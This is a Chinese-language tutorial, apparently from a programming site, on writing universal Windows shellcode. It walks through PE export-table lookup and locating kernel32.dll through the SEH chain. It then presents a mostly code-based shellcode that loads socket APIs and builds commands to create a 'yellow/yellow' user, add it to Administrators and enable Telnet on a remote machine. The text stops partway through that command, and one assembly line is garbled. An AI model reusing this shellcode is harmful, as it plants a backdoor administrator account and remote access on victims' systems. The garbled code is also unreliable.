程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> VC >> 關於VC++ >> 通用ShellCode深入剖析

通用ShellCode深入剖析

編輯:關於VC++

前言:

在網上關於ShellCode編寫技術的文章已經非常之多,什麼理由讓我再寫這種 技術文章呢?本文是我上一篇溢出技術文章<Windows 2000緩沖區溢出技術原理>的姊妹 篇,同樣的在網上我們經常可以看到一些關於ShelCode編寫技術的文章,似乎沒有為初學者准 備的,在這裡我將站在初學者的角度對通用ShellCode進行比較詳細的分析,有了上一篇的溢出 理論和本篇的通用ShellCode理論,基本上我們就可以根據一些公布的Window溢出漏洞或是自 己對一些軟件系統進行反匯編分析出的溢出漏洞試著編寫一些溢出攻擊測試程序.

文 章首先簡單分析了PE文件格式及PE引出表,並給出了一個例程,演示了如何根據PE相關技術查 找引出函數及其地址,隨後分析了一種比較通用的獲得Kernel32基址的方法,最後結合理論進 行簡單的應用,給出了一個通用ShellCode.

本文同樣結合我學習時的理解以比較容易 理解的方式進行描述,但由於ShellCode的復雜性,文章主要使用C和Asm來講解,作者假設你已 具有一定的C/Asm混合編程基礎以及上一篇的溢出理論基礎,希望本文能讓和我一樣初學溢出 技術的朋友有所提高.

[目錄]

1,PE文件結構的簡介,及PE引出表的分 析.

1.1 PE文件簡介

1.2 引出表分析

1.3 使用內聯匯編寫一個通用的 根據DLL基址獲得引出函數地址的實用函數

GetFunctionByName

2,通用 Kernel32.DLL地址的獲得方法.

2.1 結構化異常處理和TEB簡介

2.2 使用內聯 匯編寫一個通用的獲得Kernel32.DLL函數基址的實用函數

GetKernel32

3,綜合 運用(一個簡單的通用ShellCode)

3.1 綜合前面所講解的技術編寫一個添加帳號及開 啟Telnet的簡單ShellCode:

根據第2節所述技術使用我們自己實現的 GetFunctionByName獲得LoadLibraryA和GetProcAddress函數地址,再使用這兩個函數引入所 有我們需要的函數實現期望的功能.

4,參考資料.

5,關鍵字.

-------- --------------------------------------------------------------

一,PE文件結 構及引出表基礎

1,PE文件結構簡介

PE(Portable Executable,移植的執行體), 是微軟Win32環境可執行文件的標准格式(所謂可執行文件不光是.EXE文件,還包 括.DLL/.VXD/.SYS/.VDM等)

PE文件結構(簡化):

-----------------
│1,DOS MZ header│
-----------------
│2,DOS stub   │
-----------------
│3,PE header  │
-----------------
│4,Section table│
-----------------
│5,Section 1  │
-----------------
│6,Section 2  │
-----------------
│ Section ... │
-----------------
│n,Section n  │
-----------------

記得在我還沒有接確Win32編程時,我曾在Dos下運行過一個Win32可執行文件,程序只輸出 了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎麼 識別自己不在Win32平台下的呢?其實它並沒有進行識別,它可能簡單到只輸入這一行文字就退 出了,可能源碼就像下面的C程序這麼簡單:

#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode.\n");
}

你可能會問"我在寫Win32程序時並沒有寫過這樣的 語句啊?",其實這是由連接器(linker)為你構建的一個16位DOS程序,當在16位系統 (DOS/Windows 3.x)下運行Win32程序時它才會被執行用來輸出一串字符提示用戶"這個 程序不能在DOS模式下運行".

我們先來看看DOS MZ header到底是什麼東西,下面 是它在Winnt.h中的結構描述:

typedef struct _IMAGE_DOS_HEADER {   //DOS .EXE header
  WORD  e_magic;           //0x00 Magic number
  WORD  e_cblp;           //0x02 Bytes on last page of file
  WORD  e_cp;            //0x04 Pages in file
  WORD  e_crlc;           //0x06 Relocations
  WORD  e_cparhdr;           //0x08 Size of header in paragraphs
  WORD  e_minalloc;          //0x0a Minimum extra paragraphs needed
  WORD  e_maxalloc;          //0x0c Maximum extra paragraphs needed
  WORD  e_ss;             //0x0e Initial (relative) SS value
  WORD  e_sp;             //0x10 Initial SP value
  WORD  e_csum;            //0x12 Checksum
  WORD  e_ip;            //0x14 Initial IP value
  WORD  e_cs;            //0x16 Initial (relative) CS value
  WORD  e_lfarlc;          //0x18 File address of relocation table
  WORD  e_ovno;           //0x1a Overlay number
  WORD  e_res[4];          //0x1c Reserved words
  WORD  e_oemid;           //0x24 OEM identifier (for e_oeminfo)
  WORD  e_oeminfo;          //0x26 OEM information; e_oemid specific
  WORD  e_res2[10];         //0x28 Reserved words
  LONG  e_lfanew;          //0x3c File address of new exe header
 } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS MZ header 中包括了一些16位DOS程序的初使化值如果IP(指令指針),cs(代碼段寄存器),需要分配的內存 大小,checksum(校驗和)等,當DOS准備為可執行文件建立進程時會讀取其中的值來完成初使化 工作.

留意到最後一個結構成員了嗎?微軟的人對它的描述是File address of new exe header意義是"新的exe文件頭部地址",它是一個相對偏移值,我想文件偏移量 你一定知道是什麼吧!

e_lfanew就是一個文件偏移值,它指向PE header,它對我們來說 非常重要.緊跟著DOS MZ header的是DOS stub它是linker為我們建立的這個16位DOS程序的代 碼實體部分,就是它輸出了"This program cannot be run in DOS mode.".再後面 就是PE header了,有人曾問過我PE頭部相對於.exe文件的偏移是不是固定的?這個可不好說, 不同的編譯器生成的stub長度可能不一樣(比如:它可能存儲了這樣一個字串來提示用戶 "The Currnet OS is not Win32,I want to run in Win32 Mode.",那麼這個stub 的長度將比前面的那個長),所以用一個固定值來定位PE header是不科學的,這個時候我們就 用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當然的!linker總是會它賦予一 個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader也根據e_lfanew來定位 真正的PE header,並使用PE header中的不同的成員值進行初使化,PE還包涵了很多個" 節"(Section),有用來存儲數據的,有用來存可執行代碼的,還有的是用來存資源的(如: 程序圖標,位圖,聲音,對話框模板等)

下面我只簡單分析一下PE結構與編寫ShellCode 相關的部分,如果你對其它部分也比較感興趣可以看看台港侯俊傑先生譯的<Windows 95系 統程序設計大奧秘>中的相關內容以及Iczelion的經典PE教程,我個人覺得將兩者結合起來 看要好一點.

2,引出表分析

在PE header結構(你可以Winnt.h中找到它)中包括 一個DataDirectory結構成員數組,可以通過這樣的方法來找到它的位置:

PE頭部偏移= 可執行文件內存映象基址+0x3c(e_lfanew)

PE基址=可執行文件內存映象基址+PE頭部 偏移

引出表目錄指針(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=--- DataDirectory

引出函數名稱表首指針(char**)=引出表目錄基址+0x20

引出函 數地址表首指針(DWORD **)=引出表目錄指針+0x1c它的結構定義是這樣 的:

typedef struct _Image_Data_Directory{
  DWORD  VirtualAddress;
  DWORD isize;
} IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

該結構數組共包括16成員, 第一個成員的VirtualAddress存儲了一個相對偏移量,它指向一個IMAGE_EXPORT_DIRECTORY結 構,它的定義是這樣的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
   DWORD  Characteristics;//0x00
  DWORD  TimeDateStamp;//0x04
   WORD  MajorVersion;//0x08
  WORD  MinorVersion;//0x0a
  DWORD  Name;//0x0c
  DWORD  Base;//0x10
  DWORD  NumberOfFunctions;//0x14
  DWORD  NumberOfNames;//0x18
  DWORD  AddressOfFunctions;//0x1c RVA from base of image
  DWORD  AddressOfNames;//0x20 RVA from base of image
  DWORD  AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

其中 AddressOfFunctions裡又存儲了一個二級指針,它指向一個DWORD型指針數組該數組成員所指 就是函數地址值,但其中的值是函數相對於可執行文件在內存映象中基地址的一個相對偏移值 ,真正的函數地址等於這個相對偏移值+可執行文件在內存映象中的基地址,我們可以Call這個 計算後的真實地址來調用數.AddressOfNames是一個二級字符指針,該數組成員所指就是函數 名稱字符串相對於可執行文件在內存映象中的基地址的一個偏移值,同樣可以通過相對偏移值 +可執行文件在內存映象中的基地址來引用函數名稱字串.Name也是一個字符指針,它也只存儲 了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那麼它指向的字串就為 "KERNEL32.dll".

3,本節應用實例

關於PE和引出表我們已經分析了 與編寫ShellCode密切相關的部分,這一部分的確有點難,但一定要把它搞清楚,只有把它搞懂 我們才能進行下一節的學習,在本節的最後附上一個小程序,在內聯匯編代碼中大量使用了 "間接引用",如果你對指針很熟悉基本上它很好理解,在程序裡我們實現了Windows APIGetProcAddress的功能,這種技術對於想使用一些未公開的系統函數也是非常之有用 的.

GetFunctionByName函數可以從一個PE執行文件中以函數名查找引出表並返回引出 函數地址,只需要知道KERNEL32.DLL的基地址值,使用它在本程序中我們不包括頭文件也可以 使用任何一個Windows API.在我的機器上它是0x77e60000程序如 下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//參數:
//  ImageBase:  可 執行文件的內存映象基址
//  FuncName:  函數名稱指針
//  flen:     函數名稱長度
//返回值:
//  函數成功時返回有效的函數地址,失敗時返 回0.
//最終在寫ShellCode時,應該給該函數加上__inline聲明,因為它要與ShellCode 融為一體.
//注意,在本例中我們沒有包括任何一個.h文件
unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;
__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取 得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模塊名,如果在查找KERNEL32.DLL的 引出函數那麼它將指向"KERNEL32.dll"
//mov eax,[IED]
mov eax, [eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數名稱指針數組 的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函數個數 NumberOfFunctions設置最大查找次數
FindLoop:
push ecx//使用一個小技巧,使 用程序循環更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函 數,注意這裡的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數不是指 定的函數則查找下一個
add esp,4//如果查找成功,則清除用於控制外層循環而壓入的 Ecx,准備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase// 獲得函數地址表
shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函 數索引*4)
add eax,Count
mov eax,[eax]//獲得函數地址相對偏移量
add eax,ImageBase//計算函數真實地址,並通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數索引
add [FunNameArray],4//下一個函數名 指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進 行計數循環
loop FindLoop//如果ecx不為0則遞減並回到FindLoop,往後查找
NotFound:xor eax,eax//如果沒有找到,則返回0
Found:
}
}
/*

讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中 LoadLibraryA的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地 址,call它一下

*/
int main(void)
{
char title[] ="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName (0x77e60000,"LoadLibraryA",12);
//0x77e60000是我機器上的 kernel32.dll的基址,不同機器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相當於執行LoadLibrary ("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的 長度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C調用約定,由調用者調整堆棧
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相當於執行 MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}

函數的內聯匯編代碼有很多這樣的語句:

mov eax, [somewhere]
mov eax,[eax+0x??]
add eax,ImageBase

我試過使 用mov eax,[ImageBase+eax+0x??]之類的語法,因為用到很多多級指針,而它們指向的又是相 對偏移量所以要不斷的"獲取和計算",否則很容易導致"訪問違例".編 譯運行,彈出了一個MessageBox標題和內容都是"test"看到了嗎?你可能會問這個 程序拿到其它機器上也可能運行嗎?在整個程序裡我們唯一依賴的就是0x77e60000這個 kernel32.dll基址,其它機器上的可能不是這個值,如果這個地址值可以在程序運行時動態的 計算出來,那麼這個程序將非常通用,它可以動態計算出來嗎?答案是肯定的!下一節我們將來 分析一種並不很流行但很通用的動態計算獲得kernel32.dll基址的方法.

二,在動態獲 得Kernel32.DLL地址方法的分析

1,簡析結構化異常處理(SEH,Structred Exception Handling)

SEH已經不是很什麼新技術了,但是對於我將要講了非常重要,所以在這裡對 它做一個簡單的分析.Ok,打開VC,讓我們來分析一個簡單的"除"運算程序,看看它 哪裡有問題:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}

編譯,運行:輸入4 2,程序輸出"4 DIV 2 = 2",結果很正確.再運行 輸入 4 0,問題出來了,Visual Studio彈出了一個信息框:

"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現了未處理的

"除0異常",傳統的方法是我們在z=x/y之前加上判斷:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf ("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}

出錯處理在這個小程序裡這的確很容易看懂,可是想想如果在數千甚至上萬行 的程序裡,這樣的錯誤捕獲處理會讓程序變的十分凌亂難懂,而且傳統方法處理的是我們可以 想像(猜測)到的錯誤,但是某些導到程序出錯的情況是很隨機的,這樣就不能保證程序的健壯 性了,而SEH正是為了讓正常的處理代碼和出錯處理代碼分開,以使程序結構清淅,並使程序更 加健壯.讓我們再把這個小程序改一下:

#include <stdio.h>
#include <conio.h>
#include <windows.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出錯的程序段封 裝起來
z=x/y;
        //......
}
__except (EXCEPTION_EXECUTE_HANDLER)
{//在這裡找出出現異常的原因,並進行處理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果 除0異常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://內存訪問違例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %d\n",x,y,z);
LQUIT:
getch();
return 0;
}

這樣我們就使終都可以捕獲到異常了,編 譯,選擇"Disassembly",可以看到這樣的代碼:

push    offset __except_handler3 (00401330)
mov     eax,fs:[00000000]
push     eax
mov     dword ptr fs:[0],esp

這是實際上是標准的SEH異常 處理函數的注冊方法,我們的__except(){}實際在編譯時被當成一個線程相關的異常處理函數 ,實際上這段代碼的作用是將我們的異常處理函數加入異常處理結構鏈表 EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函數鏈表的首指針,它的最後一條記 錄的節點指針指向0xffffffff.它的結構描述是這樣的:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
 struct _EXCEPTION_REGISTRATION_RECORD * pNext;  //指向後面的節點
 FARPROC                 pfnHandler;//指向異常處理函數
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

你可 能會問"你怎麼知道fs:[0]是該結構的首指針呢?",當然我沒有那麼天才,從 Windows 95系統程序設計一書中可以得知每當創建一個線程,系統均會為每個線程分配TEB (Thread Environment Block)在Windows 9x中被稱為TIB(Thread Information Block),而且 TEB永遠放在fs段選擇器指定的數據段的0偏移處.

再看一下TEB的結構定義你就會明白 的:

typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指針成員
PVOID  pvStackUserTop;    // 04h Top of user stack
PVOID pvStackUserBase;     // 08h Base of user stack
union             // 0Ch (NT/Win95 differences)
{
 struct // Win95 fields
 {
    WORD  pvTDB;     // 0Ch TDB
   WORD  pvThunkSS;   // 0Eh SS selector used for thunking to 16 bits
   DWORD unknown1;   // 10h
 } WIN95;
 struct // WinNT fields
 {
   PVOID SubSystemTib;  // 0Ch
   ULONG FiberData;    // 10h
 } WINNT;
} TIB_UNION1;
PVOID pvArbitrary;      // 14h Available for application use
struct _tib *ptibSelf;     // 18h Linear address of TIB structure
union             // 1Ch (NT/Win95 differences)
{
 struct // Win95 fields
 {
   WORD  TIBFlags;      // 1Ch
   WORD  Win16MutexCount;  // 1Eh
   DWORD  DebugContext;   // 20h
   DWORD pCurrentPriority; // 24h
    DWORD pvQueue;      // 28h Message Queue selector
 } WIN95;
  struct // WinNT fields
 {
   DWORD unknown1;      // 1Ch
   DWORD processID;      // 20h <=---注意這個和下面一個成員
    //-------------
   DWORD threadID;      // 24h <=---注意這個 成員
   //-------------
   DWORD unknown2;      // 28h
 } WINNT;
} TIB_UNION2;
PVOID* pvTLSArray;      // 2Ch Thread Local Storage array
union             // 30h (NT/Win95 differences)
{
 struct // Win95 fields
 {
   PVOID*  pProcess;   // 30h Pointer to owning Process Database
 } WIN95;
} TIB_UNION3;
} TIB, *PTIB;

看見了嗎?TEB的第一個成員pvExcept是異 常處理鏈首指針Head of exception record list,它相對於TEB首地址0x00偏移處,而TEB永遠 放在fs段寄存器的0x00偏移處,也就是fs段寄存器的0x00偏移處.看到我讓你留意的另兩個成 員了嗎?processID存儲了當前線程屬進程的ID號,threadID存儲了當前線程ID號,這樣我們又 可以實現兩Windows API了:

//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//讀取TEB的processID成員內容,通過eax返回
ret
}
}
__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//讀取TEB的threadID成員內容,通過eax返回
ret
}
}
//測試一下
void main(void)
{
printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d\tAPI TID=%d\n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}

程序輸出:

MY PID=1448   API PID=1448

MY TID=1204   API TID=1204

注意,不同的機器,不同時刻這裡輸出的值可能不一樣,但MY PID恆等於 API PID,MY TID恆等API TID.越來越有意思了吧!說了這麼多,那麼這些與獲得kernel32.dll 基址有什麼關系嗎?不要著急,繼續往下看你就會明白的!

2,通過異常處理函數鏈表查 找kernel32.dll基地址

現在讓我們來看看異常處理的順序,它是這樣的:

當一 個異常發生時,系統會從fs:[0]處讀取異常處理函數鏈表首指針,開始問所有在應用程序中注 冊的異常處理函數,比如上面的"除0異常",系統會把這個異常通知我們的異常處理 函數,函數識別出是"除0異常",並給予了處理(輸出了"Can not Divide by Zero!"),並告訴系統"我已經處理過了,不用再問其它函數了".

如果 我們的函數不打算處理這個異常可以交給兄弟節點中異常處理函數指針指向的其它異常處理 函數處理,如果程序中注冊的異常處理均不處理這個異常,那麼系統將把它發送給當前調試工 具,如果應用程序當前不處在調試狀態或是調試工具也不處理這個異常的話,系統將把它發送 給kernel32UnhandledExceptionFilter函數進行處理,當然它是由程序異常處理鏈最後一個節 點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD)

函數指針成員指向的,該節點 的pNext成員將指向0xffffffff.

看了這麼多有點靈感了嗎?我們已經有了 kernel32.dll的一個引出函數的地址了,難道還找不出它的基址嗎?看看下面的這個小 程序吧!

/*
 原型:unsigned int GetKernel32(void);
 參數:無
 返回值:
   函數總是能返回Kernel32.dll的基地址
 說明:根據PE可執 行文件特征從UnhandledExceptionFilter函數地址向上線性查找,使用__inline是為了與
    最終的ShellCode融為一體,使用__declspec(naked)是為了不讓編譯器自作聰明生 成一些"廢話",讓它
    完全按照我們自己的Asm語句來描述函數.
*/
#include <stdio.h>
#include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32()
{
 __asm
{
   push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到達最後一個節點(它的 pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否則往後遍歷,一直到最 後一個節點
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根據PE執行文件以64k對界的特征加快查 找速度
cmp word ptr [eax],'ZM'//根據PE可執行文件特征查找KERNEL32.DLL 的基址
jne MoveUp//如果當前地址不符全MZ頭部特征,則向上查找
mov ecx, [eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根據PE可執行文 件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE頭部特征,則認為已經找到 ,並通過Eax返回給調用者
MoveUp:
dec eax//准備指向下一個界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}
void main(void)
{
printf("%0.8X\n",GetKernel32());
getch();
}

完成了本節的學習以後,你應該掌握常用於編寫病毒和 ShellCode的幾種技術:

1,根據PE文件查找引出函數地址

2,動態計算 KERNEL32.DLL的基址

3,動態裝載需要的運行庫及動獲得需要的Windows API(s)

在最後一節裡我們將對前面所分析的技術做一個綜合應用,寫一個簡單的 ShellCode

三,綜合運用

本節我們將綜合前面分析的技術編寫一個簡單的通用 ShellCode,這個ShellCode將首先在遠程機器上新建一個用戶,用戶名yellow,密碼yellow,如 果如果可能將把該用戶加入Administrators用戶組,如果可能還會打開Telnet服務,請留意我 的編碼風格,這樣風格對以後的ShellCode功能擴充提供很大方便.源程序如 下:

////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定義API及DLL名稱及其存儲 順序,良好的編碼風格對於以後的開發會提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT (WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN (COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工獲得KERNEL32.DLL基址,並獲得LoadLibraryA和 GetProcAddress函數地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API [LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填寫需要的DLL 名稱,注意這裡和上面定義的宏順序要一樣
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填寫其它需要的API名稱,注意這裡也要和上面定義和宏順序一樣
call LEXITPROCESS//1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';
_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在這裡設置一個斷點查看DLLNAMES和APINAMES 是否填入了需要的內容
//填寫
}
//3,裝載所有需要的DLL
for (i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES [i]);
}
//4,獲取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS [KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for (i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS [WS2_32DLL],APINAMES[i]);
}
//5,編寫ShellCode的功能實體部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD [COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
